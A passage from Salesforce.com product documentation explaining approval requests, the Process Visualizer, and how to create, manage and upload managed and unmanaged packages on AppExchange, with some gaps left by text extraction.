Create Processing Approval Requests
See Also:
Approval Process Terminology
Approval Processes Overview
Managing Multiple Approval Requests
Using the Process Visualizer
Items To Approve
Available in: Enterprise, Unlimited, and Developer Editions
The Items To Approve related list tracks the open approval requests assigned to you. If your administrator has created an
approval process for your organization, you may see this related list on your home page. Depending on the approval process
settings, you can:
• Click Manage All to manage all of your assigned approval requests. Next, select approval requests by checking the appropriate
boxes. Optionally, check the box in the column header to select all currently displayed items.
- Click Reassign to assign the selected approval requests to another user, choose the user, enter any comments, and click
Save.
- Click Approve / Reject to display the approval request detail page and click Approve or Reject to approve or reject
all selected approval requests at once.
1477
Create Processing Approval Requests
Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that record.
See Also:
Processing Approval Requests
Approval Process Terminology
Approval Processes Overview
Managing Multiple Approval Requests
Approval History
Available in: Enterprise, Unlimited, and Developer Editions
The Approval History related list tracks a record through the approval process. If an approval process exists for an object, you
may see this related list on a record detail page. Depending on the approval process settings, use this related list for the following:
• To submit a record for approval, click Submit for Approval. Salesforce.com begins the approval process if any approval
processes apply to the record. This option is not available after the record has been submitted. Depending on the approval
process, you may be prompted to select the next approver.
• To take a record out of the approval process, click Recall Approval Request. This is only available if the record is in an
approval process. If the Allow submitters to recall approval requests option is selected for the approval process, both
submitters and administrators can see the Recall Approval Request button in the Approval History related list on the
detail page of submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request,
the pending approval request for the record is withdrawn and recall actions are run. For more information, see Recall
Actions on page 1468.
• To assign the approval request to another user, click Reassign next to an item.
• To display the approval request detail page and approve or reject a pending approval request, click Approve / Reject next
to an item.
Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that
record.
Depending on how your administrator customizes the Approval History related list, it can contain the following Status
values:
Status Definition
Submitted The record has been submitted for a approval.
1478
Create Using the Process Visualizer
Status Definition
Pending The record has been submitted for approval and is awaiting
approval or rejection.
Approved The record has been approved.
Rejected The record has been rejected.
Reassigned The record has been submitted for approval but assigned to a
different approver.
Recalled The record was submitted for approval but recalled from the
approval process.
Before you can submit a record for approval, it must meet the criteria for an active approval process. Contact your administrator
to find out about the attributes a record must have to be included in an active approval process for your organization.
See Also:
Processing Approval Requests
Approval Process Terminology
Approval Processes Overview
Using the Process Visualizer
1479
Create Using the Process Visualizer
- The specific actions to take when a record is approved, rejected, recalled, or first submitted for approval
See Also:
Launching the Process Visualizer
Understanding the Process Visualizer User Interface
Understanding the Process Visualizer Notation
Getting Started with Approval Processes
• Enable or download the Adobe Flash Player plugin, version 9.0.115 or later, in your browser
• Have at least one approval process defined in your organization
Each approval process diagram is for viewing purposes only. You cannot update an approval process from the Process Visualizer.
After saving your changes to the approval process, click View Diagram to view the updates or, if the Process Visualizer window
is still open, click Refresh.
See Also:
Understanding the Process Visualizer User Interface
Understanding the Process Visualizer Notation
Using the Process Visualizer
1480
Create Using the Process Visualizer
1481
Create Using the Process Visualizer
of the diagram. Record processing moves down the flowchart until the final approval or rejection. Each flowchart component
uses a shape, an icon, or both to represent the type of processing that may happen.
2. The diagram's legend summarizes the icons. When you first use the Process Visualizer, the legend is hidden. To display
the legend, click Show Legend. When you subsequently open other diagrams, the Process Visualizer remembers your last
setting (shown or hidden).
3. The banner has a find box so you can find matching text within the approval diagram. Use the Previous and Next buttons
to scroll through your matches.
4. Next to the diagram is an informational sidebar. The top pane in the sidebar presents the Approval Process Properties,
which is collapsed by default. The Approval Process Properties pane lists information such as the name of the approval
and whether it has been activated. Expand the pane by clicking the arrow icon.
5. The bottom pane of the sidebar contains the hover details, which lists information about the currently selected component
on the diagram. You can hover over or click a component to view its details.
6. In the lower right of the diagram pane is a navigator window. Drag the pane within the navigator to view different parts
of the diagram.
7. In the upper left of the diagram pane is a zoom slider. Use it to zoom in and out of your process diagram.
8. In the left side of the banner, use the buttons to get a printable view of the diagram, to refresh the diagram, or to hide or
show the legend and navigator.
1482
Create Using the Process Visualizer
Property Description
Process Name A user-defined name of the approval process.
Entry Criteria? Appears only when there are no entry criteria for the process,
displaying with a “No” value.
Active? Indicates whether the approval process is active.
Description The description of the approval process.
Record Editability Shows the defined value for this property. For example:
Administrator or current approver.
Next Automated Approver Determined By Shows the value for this property. For example: Manager of
Owner
Approval Assignment Email Template The name of the template used for email alerts. For example:
Leads: New assignment notification (SAMPLE)
Initial Submitters Shows the defined value for this property. For example: Record
Owner
Allow Submitters to Recall Approval Requests? Shows the defined value, Yes or No, for this property.
Created By The name of the person who created the approval process.
Modified By The name of the last person to modify the approval process.
1483
Create Using the Process Visualizer
Use the find filters to limit results to a specific parameter: Approval Steps, Tasks, Email Alerts, Field Updates, and Outbound
Messages. Click the arrow next to the Find field to select a filter. For example, to find all tasks for Jane Smith, click the
arrow next to the Find field, select Tasks, then enter Jane Smith.
Note: All is the only filter that includes Approval Process Properties, Entry Criteria, and Go Back steps in its search
parameters. If you select a filter but don't enter any text, all instances of that filter item are highlighted in the diagram
and navigation pane.
See Also:
Launching the Process Visualizer
Understanding the Process Visualizer Notation
Using the Process Visualizer
The Process Visualizer uses the following notation to graphically represent each approval process. The shapes are based on
the Business Process Modeling Notation (BPMN) standard. In the Process Visualizer, a shape's color changes from gray to
blue when you hover over or click it.
1484
Create Using the Process Visualizer
The rectangle labeled Initial Submission Actions represents any actions you defined
in initial submission. At a minimum, this element shows the record lock set automatically
by Salesforce.com to prevent updates by other users. Later during the approval process, after
the record is approved, rejected, or recalled, the record is unlocked.
A diamond with Yes or No branches represents the numbered step's criteria or formula that
is evaluated before proceeding. Hover over or click the diamond to see the criteria or formula
in the sidebar's hover details. For example, the criteria could be used to determine whether
the Lead.Rating = Hot. If true, the approval process continues to the next step on the
Yes branch. If false, the approval process continues to the next step on the No branch.
A rectangle containing a human icon, represents an approval step. The Approved path
includes a small diamond. The Rejected path uses a backslash.
1485
Create Using the Process Visualizer
In this example, a task has been assigned. When you hover over or click the rectangle, look
for more information in the sidebar's hover details.
A rectangle with a plus sign (+) represents multiple actions. The actions shown inside are
performed simultaneously, as a unit. To expand the display and view the individual actions,
click the plus sign. In the expanded display, the Process Visualizer displays the individual
actions, one per rectangle.
When you hover over or click a shape on the diagram, and it is part of a step, all the elements
that comprise the step use a glowing background color. This visual clue helps you locate all
the decisions and actions that comprise each step, and how the processing may branch based
on the record's values.
1486
Create Using the Process Visualizer
The identified steps depend on where in the approval process the Go Back was defined. The
possible steps are highlighted when you hover over the Go Back circle. In the diagram, the
Process Visualizer displays the Go Back circle only for a step where its preceding step is
defined as a skip.
The Final Approval Actions rectangle leads to a circle labeled Approved, as shown
here. The Final Rejection Actions rectangle leads to a circle labeled Rejected. If
a recall action was defined, the Final Recall Actions rectangle shows that the record
is now unlocked, and the arrow leads to a circle labeled Recalled.
See Also:
Launching the Process Visualizer
Understanding the Process Visualizer User Interface
Using the Process Visualizer
1487
Create Overview of Packages
PACKAGES
Overview of Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
A package is a container for something as small as an individual component or as large as a set of related apps. After creating
a package, you can distribute it to other Salesforce.com users and organizations, including those outside your company.
Packages come in two forms—unmanaged and managed:
Unmanaged packages
Unmanaged packages are typically used to distribute open-source projects or application templates to provide developers
with the basic building blocks for an application. Once the components are installed from an unmanaged package, the
components can be edited in the organization they are installed in. The developer who created and uploaded the
unmanaged package has no control over the installed components, and can't change or upgrade them. Unmanaged
packages should not be used to migrate components from a sandbox to production organization, instead use Change
Sets on page 1677
Managed packages
Managed packages are typically used by salesforce.com partners to distribute and sell applications to customers. These
packages must be created from a Developer Edition organization. Using the AppExchange and the License Management
Application (LMA), developers can sell and manage user-based licenses to the app. Manage packages are also fully
upgradeable. To ensure seamless upgrades, certain destructive changes like removing objects or fields may not be performed
in a managed package.
Managed packages also offer the following benefits:
1488
Create Overview of Packages
Components
A component is one constituent part of a package. It defines an item, such as a custom object or a custom field. You can
combine components in a package to produce powerful features or applications. In an unmanaged package, components
are not upgradeable. In a managed package, some components can be upgraded while others cannot.
Attributes
An attribute is a field on a component, such as the name of an email template or the Allow Reports checkbox on a
custom object. On a non-upgradeable component in either an unmanaged or managed package, attributes are editable
by both the developer (the one who created the package) and the subscriber (the one who installed the package). On an
upgradeable component in a managed package, some attributes can be edited by the developer, some can be edited by
the subscriber, and some are locked, meaning they cannot be edited by either the developer or subscriber.
For information on which components can be included in a package and which attributes are editable for each component,
see the Force.com Quick Reference for Developing Packages.
Packages consist of one or more Salesforce.com components, which, in turn, consist of one or more attributes. Components
and their attributes behave differently in managed and unmanaged packages.
If you plan to distribute an app, it is important to consider packaging throughout the development process. For example:
• While creating your app, consider how components and their attributes behave in different packages and Salesforce.com
editions.
• While preparing your app for distribution, consider how you want to release it to your customers.
• While installing a package, consider your organization's security and license agreements.
It is also helpful to familiarize yourself with general packaging information, such as:
See Also:
Managing Packages
Preparing Your Apps for Distribution
1489
Create Glossary
Glossary
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
The following terms and definitions describe key application and packaging concepts and capabilities:
App
Short for “application.” A collection of components such as tabs, reports, dashboards, and Visualforce pages that address
a specific business need. Salesforce.com provides standard apps such as Sales and Call Center. You can customize the
standard apps to match the way you work. In addition, you can package an app and upload it to AppExchange along
with related components such as custom fields, custom tabs, and custom objects. Then, you can make the app available
to other Salesforce.com users from AppExchange.
AppExchange
AppExchange is a sharing interface from salesforce.com that allows you to browse and share apps and services for the
Force.com platform.
Deploy
To move functionality from an inactive state to active. For example, when developing new features in the Salesforce.com
user interface, you must select the “Deployed” option to make the functionality visible to other users.
The process by which an application or other functionality is moved from development to production.
To move metadata components from a local file system to a Salesforce.com organization.
For installed apps, deployment makes any custom objects in the app available to users in your organization. Before a
custom object is deployed, it is only available to administrators and any users with the “Customize Application” permission.
Deprecated Component
A developer may decide to refine the functionality in a managed package over time as the requirements evolve. This may
involve redesigning some of the components in the managed package. Developers cannot delete some components in a
Managed - Released package, but they can deprecate a component in a later package version so that new subscribers do
not receive the component, while the component continues to function for existing subscribers and API integrations.
1490
Create Glossary
Major Release
A significant release of a package. During these releases, the major and minor numbers of a package version increase to
any chosen value.
Managed Package
A collection of application components that are posted as a unit on AppExchange, and are associated with a namespace
and possibly a License Management Organization. A package must be managed for it to support upgrades. An organization
can create a single managed package that can be downloaded and installed by many different organizations. They differ
from unmanaged packages in that some components are locked, allowing the managed package to be upgraded later.
Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed packages
obfuscate certain components (like Apex) on subscribing organizations, so as to protect the intellectual property of the
developer.
Namespace Prefix
In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your
package and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive.
For example, ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all
Salesforce.com organizations. It keeps your managed package under your control exclusively.
Native App
An app that is built exclusively with setup (metadata) configuration on Force.com. Native apps do not require any external
services or infrastructure.
Package
A group of Force.com components and applications that are made available to other organizations through the
AppExchange. You use packages to bundle an app along with any related components so that you can upload them to
AppExchange together.
Package Dependency
This is created when one component references another component, permission, or preference, which must exist for the
component to be valid. Components can include, but are not limited to:
Permissions and preferences can include but are not limited to:
• Divisions
• Multicurrency
• Record types
1491
Create Glossary
Package Installation
Incorporates the contents of a package into your Salesforce.com organization. A package on AppExchange can include
an app, a component, or a combination of the two. After you install a package, you may need to deploy components in
the package to make it generally available to the users in your organization.
Package Publication
Publishing your package makes it publicly available on AppExchange. Apps can be found under specific categories and
by doing a search for keywords.
Package Version
A number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen
value during every major release. The patchNumber is generated and updated only for a patch release. If there is no
patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program. For information
on enabling patch versions for your organization, contact salesforce.com.
Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A
package version has more significance for managed packages. Packages can exhibit different behavior for different versions.
Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent
package versions without breaking existing customer integrations using the package. See also Patch and Patch Development
Organization.
Patch
A patch enables a developer to change the functionality of existing components in a managed package, while ensuring
subscribing organizations that there are no visible behavior changes to the package. For example, you can add new
variables or change the body of an Apex class, but you may not add, deprecate, or remove any of its methods. Patches
are tracked by a patchNumber appended to every package version. See also Patch Development Organization and
Package Version.
Patch Release
A minor upgrade to a managed package. During these releases, the patch number of a package version increments.
Private Sharing
Private sharing is the process of sharing an uploaded package by using the URL you receive from Salesforce.com. This
URL is not listed in the AppExchange. Using the unlisted URL allows you to share a package without going through
the listing process or making it public.
Provider
The provider of an AppExchange listing is the Salesforce.com user or organization that published the listing.
Push Upgrade
A method of delivering updates that sends upgrades of an installed managed package to all organizations that have
installed the package.
1492
Create Enabling Managed Packages for Your Organization
Subscriber
The subscriber of a package is a Salesforce.com user with an installed package in their Salesforce.com organization.
Test Drive
A test drive is a fully functional Salesforce.com organization that contains an app and any sample records added by the
publisher for a particular package. It allows users on AppExchange to experience an app as a read-only user using a
familiar Salesforce.com interface.
Unmanaged Package
A package that cannot be upgraded or controlled by its developer.
Upgrading
Upgrading a package is the process of installing a newer version. Salesforce.com supports upgrades for managed packages
that are not beta.
Uploading
Uploading a package in Salesforce.com provides an installation URL so other users can install it. Uploading also makes
your packaged available to be published on AppExchange.
See Also:
What is an App?
Creating a managed package is just as easy as creating an unmanaged package, but it requires a few customizations in your
organization first. The only requirement for enabling your Salesforce.com organization to create managed packages is that
you are using a Developer Edition organization.
To enable your organization for managed packages:
• Review the information about managed packages in the Force.com Quick Reference for Developing Packages before
determining if this is the right type of package for your app.
• Optionally, install the License Management Application (LMA) from http://sites.force.com/appexchange. Search for
License Management App to locate it. The License Management Application (LMA) tracks information about each
1493
Create Enabling Managed Packages for Your Organization
user who installs your app. It allows you to track what users have which version, giving you a means of distributing
information about upgrades.
The License Management Application (LMA) can be installed in any Salesforce.com organization except a Personal,
Group, or Professional Edition organization and does not need to be the same Salesforce.com organization that you use
to create or upload the package, although it can be. You can also use the same License Management Application (LMA)
to manage an unlimited number of your managed packages in different Developer Edition organizations.
• Configure your developer settings. Your developer settings specify your namespace prefix, the Salesforce.com organization
where you install the License Management Application (LMA), and the unmanaged package you want to convert into a
managed package.
See Also:
Managing Packages
Converting Unmanaged Packages to Managed
Configuring Your Developer Settings
Registering a Namespace Prefix
Specifying a License Management Organization
A managed package is a collection of application components that are posted as a unit on AppExchange, and are associated
with a namespace and a License Management Organization.
• You must use a Developer Edition organization to create and work with a managed package.
• Managed packages are depicted by the following icons:
- Managed - Beta
- Managed - Released
- Managed - Installed
Tip: To prevent naming conflicts, Salesforce.com recommends using managed packages for all packages that contain
Apex. This way, all of the Apex objects contain your namespace prefix. For example, if there is an Apex class called
MyHelloWorld and the namespace for your organization is OneTruCode, the class is referenced as
OneTruCode.MyHelloWorld.
1494
Create Enabling Managed Packages for Your Organization
The developer settings in a Developer Edition organization allow you to create a single managed package and upload that
package to Force.com AppExchange so other users can install and upgrade the package in their organization. After configuring
your developer settings the first time, you can no longer modify them. Regardless of the developer settings, you can always
create an unlimited number of unmanaged packages.
Before configuring your developer settings, review the requirements and steps in Enabling Managed Packages for Your
Organization on page 1493.
To configure your developer settings:
3. Review the selections necessary to configure developer settings, and click Continue.
4. Register a namespace prefix.
5. Choose the package you want to convert to a managed package. If you do not yet have a package to convert, leave this
selection blank and update it later.
6. Click Review My Selections.
7. Click Save.
Tip: You may want to specify a License Management Organization (LMO) for your managed package; to find out
more, go to http://sites.force.com/appexchange/publisherHome.
See Also:
Enabling Managed Packages for Your Organization
Registering a Namespace Prefix
Specifying a License Management Organization
1495
Create Enabling Managed Packages for Your Organization
In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your package
and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive. For example,
ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all Salesforce.com
organizations. It keeps your managed package under your control exclusively.
Salesforce.com automatically prepends your namespace prefix, followed by two underscores (“__”), to all unique component
names in your Salesforce.com organization. A unique package component is one that requires a name that no other component
has within Salesforce.com, such as custom objects, custom fields, custom links, s-controls, and validation rules. For example,
if your namespace prefix is abc and your managed package contains a custom object with the API name, Expense__c, use the
API name abc__Expense__c to access this object using the API. The namespace prefix is displayed on all component detail
pages.
Caution: S-controls stored in the s-control library or the Documents tab that do not use the Force.com API still
function properly after you register a namespace prefix. However, s-controls stored outside of your organization or
s-controls that use the Force.com API to call Salesforce.com may require some fine-tuning. For more information,
see the S-control standard object page in the Web Services API Developer's Guide.
3. Review the selections necessary to configure developer settings, and click Continue.
4. Enter the namespace prefix you want to register.
5. Click Check Availability to determine if it is already in use.
6. Repeat if the namespace prefix you entered is not available.
1496
Create Managing Packages
See Also:
Enabling Managed Packages for Your Organization
Configuring Your Developer Settings
Specifying a License Management Organization
A license management organization is a Salesforce.com organization that you use to track all Salesforce.com users who install
your managed package. The license management organization receives notification (in the form of a lead record) when a user
installs or uninstalls your package and tracks each package upload on Force.com AppExchange.
Your license management organization can be any Salesforce.com Enterprise, Unlimited, or Developer Edition organization
that has installed the free License Management Application (LMA) from AppExchange. To specify a License Management
Organization, go to http://sites.force.com/appexchange/publisherHome.
See Also:
Enabling Managed Packages for Your Organization
Configuring Your Developer Settings
Registering a Namespace Prefix
Managing Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Packages are a collection of Force.com components and applications that are made available to other organizations through
the AppExchange. A managed package is a collection of application components that are posted as a unit on AppExchange,
and are associated with a namespace and a License Management Organization. A package must be managed for it to support
upgrades. An organization can create a single managed package that can be downloaded and installed by many different
organizations. They differ from unmanaged packages in that some components are locked, allowing the managed package to
be upgraded later. Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed
1497
Create Managing Packages
packages obfuscate certain components (like Apex) on subscribing organizations, so as to protect the intellectual property of
the developer.
For details, see the Force.com Quick Reference for Developing Packages.
To manage your packages, click Setup ➤ Create ➤ Packages. For more customization, see Configuring Your Developer
Settings on page 1495.
From the list of packages, you can do any of the following:
• Click New to create a new package, enter a package name and description, and click Save to store it in your list of packages.
For more information on creating a package, see Creating or Editing a Package on page 1499.
• Click Edit to update the package properties.
• Click Del to delete the package. The components contained in your package are not deleted.
• Click the name of the package to view the details of the package.
Note: To create a test drive or choose a License Management Organization (LMO) for what you have uploaded,
click Proceed to AppExchange from the package upload detail page.
See Also:
Overview of Packages
Viewing Package Details
A package version is a number that identifies a set of components uploaded in a package.The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release. If there is no patchNumber,
it is assumed to be zero (0). Patch versions are currently available through a pilot program. For information on enabling patch
versions for your organization, contact salesforce.com. Unmanaged packages are not upgradeable, so each package version is
simply a set of components for distribution. A package version has more significance for managed packages. Packages can
exhibit different behavior for different versions. Publishers can use package versions to evolve the components in their managed
packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package.
Version numbers depend on the package release type, which identifies the way packages are distributed. There are two kinds:
Major Release
A major release denotes a Managed - Released package. During these releases, the major and minor numbers of a
package version increase to a chosen value.
Patch Release
A patch release is only for patch versions of a package. During these releases, the patch number of a package version
increments.
1498
Create Managing Packages
When an existing subscriber installs a new package version, there is still only one instance of each component in the package,
but the components can emulate older versions. For example, a subscriber may be using a managed package that contains an
Apex class. If the publisher decides to deprecate a method in the Apex class and release a new package version, the subscriber
still sees only one instance of the Apex class after installing the new version. However, this Apex class can still emulate the
previous version for any code that references the deprecated method in the older version.
Apex has special syntax so that package developers can use conditional logic in classes and triggers to exhibit different behavior
for different versions. This allows the package developer to continue to support existing behavior in classes and triggers in
previous package versions while continuing to evolve the code.
When you are developing client applications using the API, you can specify the version of each package that you use in your
integrations.
See Also:
Managing Packages
Planning the Release of Managed Packages
Developer's Guide: Force.com Apex Code Developer's Guide
Developer's Guide: Web Services API Developer's Guide
An app can contain many different components and you can create, upload, and register your apps on your own timeline. To
group components in a container to upload to Force.com AppExchange, create a package and add components to the package.
A package is the container for the app that you must use to upload all its components together.
Tip: Before you begin, determine if you want to create and upload a managed or unmanaged package.
1499
Create Managing Packages
6. Optionally in the Apex Exception Notification Recipient field, enter the username of the person who should
receive an email notification if an exception occurs in an Apex script that is not caught by the script. If you do not specify
a username, all uncaught exceptions generate an email notification that is sent to salesforce.com. This is only available for
managed packages. For more information, see Handling Apex Exceptions in Managed Packages on page 1578.
Note: Apex can only be packaged from Developer, Enterprise, and Unlimited Edition organizations.
7. Optionally, enter a description that describes the package. You will have a chance to change this description before you
upload it to AppExchange.
8. Click Save.
See Also:
Viewing Package Details
Preparing Your Apps for Distribution
After you have created a package, you need to add components to it, such as app, object, Apex classes or Visualforce pages.
These packages can be uploaded to share with others privately or posted on Force.com AppExchange to share publicly.
To add components to a package, click Setup ➤ Create ➤ Packages and select the name of the package you want to add
components to. From the package detail page:
1. Click Add.
2. From the drop-down list, choose the type of component you want to add to your package.
• At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
• If available, click the Next Page (or Previous Page) link to go to the next or previous set of components.
• If available, click fewer or more at the bottom of the list to view a shorter or longer display list.
1500
Create Viewing Package Details
Note: Some components cannot be added to Managed - Released packages. For a list of these components,
see the Force.com Quick Reference for Developing Packages.
S-controls cannot be added to packages with restricted API access.
See Also:
Managing Packages
Viewing Package Details
Preparing Your Apps for Distribution
Click Setup ➤ Create ➤ Packages and click the name of a package to view its details, including any added components,
whether it is a managed package, if the package has been uploaded, and so on.
The detail page has the following sections:
• Package details
• Package components
• Remote access
• Development organizations
• Version history
• Click Edit to change the package name, custom link that displays when users click Configure, or description.
• Click Delete to delete the package. This does not delete the components contained in the package but the components
will no longer be bundled together within this package.
• Click Upload to upload the package. You will receive an email when the upload is complete. For more information, see
Managing Uploads on page 1512. For more information on the entire process, see Preparing Your Apps for Distribution
on page 1509.
• Click Push Upgrades to send an automatic upgrade to installed packages.
• Optionally, click Show Dependencies and review a list of components that rely on other components, permissions, or
preferences within the package. An entity may include such things as an s-control, a standard or custom field, or an
organization-wide setting like multicurrency. Your package cannot be installed unless the installer has the listed components
enabled or installed. For more information on dependencies, see Understanding Dependencies on page 1513. Click Done
to return to the Package detail page.
1501
Create Viewing Package Details
• Optionally, you can enable, disable, or change the access that components in the package have to standard objects in the
installing organization by using the links next to API Access. For more information about API access, see Managing
API and Dynamic Apex Access in Packages on page 1392.
Note: S-controls can be added to a package only if API Access is set to Unrestricted.
• Click View Deleted Components to see which components were deleted from the package across all of its versions.
• Click the version number of any listed uploads to manage that upload. For more information, see Managing Uploads on
page 1512.
Note: To create a test drive or choose a License Management Organization (LMO) for what you have uploaded,
click Proceed to AppExchange from the package upload detail page.
Attribute Description
Apex Exception Notification Recipient The username of the person who should receive an email
notification if an exception occurs in an Apex script that is
not caught by the script. If you do not specify a username, all
uncaught exceptions generate an email notification that is sent
to salesforce.com. This is only available for managed packages.
For more information, see Handling Apex Exceptions in
Managed Packages on page 1578.
Note: Apex can only be packaged from Developer,
Enterprise, and Unlimited Edition organizations.
API Access The type of access that the API and dynamic Apex scripts
that package components have. The default setting is
Unrestricted, which means that all package components that
access the API have the same access as the user who is logged
in. Click Enable Restrictions or Disable Restrictions to
change the API and dynamic Apex access permissions for a
package.
For more information about API access and the access dynamic
Apex scripts have for managed package components, see
Managing API and Dynamic Apex Access in Packages on
page 1392.
1502
Create Viewing Package Details
Attribute Description
Created By The name of the developer that created this package, including
the date and time.
Description A detailed description of the package.
Extension Indicates whether the package is an extension.
Language The language used for the labels on components. The default
value is your user language. For packages created before Spring
'10, the default is your organization's language.
Managed Indicates whether this is a managed or unmanaged package.
Modified By The name of the last user to modify this package, including
the date and time.
Package Name The name of the package, given by the publisher.
If a component is deprecated, the developer of the package sees a icon next to the component. Subscribers of the package
see a icon.
Note: Component deprecation is currently available through a pilot program. You may request to be added to the
pilot program by contacting Salesforce.com support.
Attribute Description
Action Lists the actions you can perform on the component. The only
choice is Remove, which removes the component from an
unreleased package.
Available in Versions Displays the version number of the package in which a
component exists.
Included By This column lists how a component was included in a package.
If the component was automatically included because it is
referenced by another component, this column lists the name
of the referencing component. If the component was added
by a developer, this column lists User Selected. If the
component was added in a prior version of this package, this
column lists Previously Released.
Name Displays the name of the component.
Owned By If the component was added from a different installed package,
this column lists the name of that package.
Parent Object Displays the name of the parent object a component is
associated with. For example, a custom object is the parent of
a custom field.
1503
Create Viewing Package Details
Attribute Description
Type Displays the type of the component.
Remote Access
For package developers, the Remote Access section lists all the remote access applications created as part of this package.
Click New to create a new remote access application to be included as part of this package.
The following remote access information is displayed (in alphabetical order):
Attribute Description
Name The name of the remote access application.
Version The version of the package that the remote access application
is associated with.
Attribute Description
Action Lists the actions you can perform on a patch development
organization. The possible actions are:
• Login: Log into your patch development organization
• Reset: Emails a new temporary password for your patch
development organization
Major Release The package version number that you are patching.
Username The login associated with the patch organization.
Attribute Description
Action Lists the actions you can perform on the package. The possible
actions are:
• Deprecate: Deprecates a package version.
1504
Create Determining Your Development Process
Attribute Description
Caution: Users will no longer be able to download
or install this package. However, existing
installations will continue to work.
See Also:
Creating or Editing a Package
Preparing Your Apps for Distribution
Managing Packages
All packages are unmanaged until you convert them to managed packages. This requires managed packages created in a
Developer Edition organization. You may prefer developing managed packages because you can beta test them before a release
and offer upgrades for them.
Before creating a package, determine the development process you aim to take so that you can choose the most appropriate
type of package for your process:
1505
Create Determining Your Development Process
See Also:
Planning the Release of Managed Packages
Managing Packages
Creating and Uploading Patches
State Description
Unmanaged The package has not been converted into a managed package
or the component has not been added to a managed package.
Note that a component that is “Managed - Beta” can become
“Unmanaged” if it is removed from a managed package. All
packages are unmanaged unless otherwise indicated by one of
the managed icons below.
1506
Create Determining Your Development Process
State Description
uploaded with the Managed - Released option selected,
indicating that it can be published on AppExchange and is
publicly available. Note that once you have moved a package
to this state, some properties of the components are no longer
editable for both the developer and installer.
This type of release is considered a major release.
A developer may decide to refine the functionality in a managed package over time as the requirements evolve. This may
involve redesigning some of the components in the managed package. Developers cannot delete some components in a Managed
- Released package, but they can deprecate a component in a later package version so that new subscribers do not receive the
component, while the component continues to function for existing subscribers and API integrations.
For more information on developing and releasing packages, see the Force.com Quick Reference for Developing Packages.
See Also:
Managing Packages
Determining Your Development Process
After you've uploaded a Managed - Released package, you may find that a component needs to be deleted from your
organization. One of the following situations may occur:
1507
Create Determining Your Development Process
Note: The Components Available in Managed Packages table in the Force.com Quick Reference for Developing
Packages has more information on which components can't be deleted.
• The component can be deleted, but can only be undeleted from the Deleted Package Components page.
• The component can be deleted, but can be undeleted from either the Deleted Package Components page or through the
Recycle Bin
To access the Deleted Package Components page, click Setup ➤ Create ➤ Packages, select the package the component was
uploaded to, then click View Deleted Components. If a component can be retrieved through the Recycle Bin, it can also be
retrieved through this page. You can retrieve the following types of components from here:
- Custom labels
- Custom links (for Home page only)
- Workflow alerts
- Workflow field updates
- Workflow outbound messages
- Workflow tasks
• Data components, such as Documents, Dashboards, and Reports. These are the only types of components that can also
be undeleted from the Recycle Bin
You can retrieve components from the Recycle Bin and Deleted Package Components page any time before uploading a new
version of the package. To do this, click Undelete next to the component.
After a package is uploaded with a component marked for deletion, it is deleted forever.
Caution: Although a component is deleted, its Name remains within Salesforce.com. You can never create another
component with the same name. The Deleted Package Components page lists which names can no longer be used.
The Deleted Components displays the following information (in alphabetical order):
Attribute Description
Action If the Managed - Released package hasn't been uploaded
with the component deleted, this contains an Undelete link
that allows you to retrieve the component.
Available in Versions Displays the version number of the package in which a
component exists.
Name Displays the name of the component.
Parent Object Displays the name of the parent object a component is
associated with. For example, a custom object is the parent of
a custom field.
Type Displays the type of the component.
1508
Create Preparing Your Apps for Distribution
When you are ready to distribute your package, determine if you want to release a managed or unmanaged package. For more
information about the different types of releases, see the Force.com Quick Reference for Developing Packages.
1. Create a package:
g. Optionally, enter a description that describes the package. You will have a chance to change this description before you
upload it to AppExchange.
h. Click Save.
2. Salesforce.com sets your package API access privileges to Unrestricted. You can change this setting to further restrict
API access of Salesforce.com components in the package. For more information, see Managing API and Dynamic Apex
Access in Packages on page 1392.
3. Add the necessary components for your app.
a. Click Add.
b. From the drop-down list, choose the type of component you want to add to your package.
• At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
• If available, click the Next Page (or Previous Page) link to go to the next or previous set of components.
• If available, click fewer or more at the bottom of the list to view a shorter or longer display list.
1509
Create Preparing Your Apps for Distribution
Note: Some components cannot be added to Managed - Released packages. For a list of these components,
see the Force.com Quick Reference for Developing Packages.
S-controls cannot be added to packages with restricted API access.
Repeat these steps until you have added all the components you want in your package.
Note: Some related components are automatically included in the package even though they may not display in
the Package Components list. For example, when you add a custom object to a package, its custom fields, page
layouts, and relationships with standard objects are automatically included. For a complete list of components
Salesforce.com automatically includes, see the Force.com Quick Reference for Developing Packages.
4. Optionally, click Show Dependencies and review a list of components that rely on other components, permissions, or
preferences within the package. An entity may include such things as an s-control, a standard or custom field, or an
organization-wide setting like multicurrency. Your package cannot be installed unless the installer has the listed components
enabled or installed. For more information on dependencies, see Understanding Dependencies on page 1513. Click Done
to return to the Package detail page.
Note: You cannot upload packages that contain any of the following:
• References to person accounts, such as an s-control or custom field referencing person accounts.
• Workflow rules or workflow actions (such as field updates or outbound messages) that reference record
types.
• Reports that reference record types on standard objects.
5. Click Upload.
Note: If you are creating a managed package to publish on AppExchange, you must certify your application before
you package it. For more information, seeSecurity and Trust on AppExchange.
a. Enter a Version Name, such as June 2009. This field is required for managed and unmanaged packages. The version
name is the marketing name for a specific release of a package and allows you to create a more descriptive title for the
version.
b. Enter a Version Number for the upload, such as 1.0. The format is majorNumber.minorNumber.
Note:
If you are uploading a new patch version, you can't change the patch number.
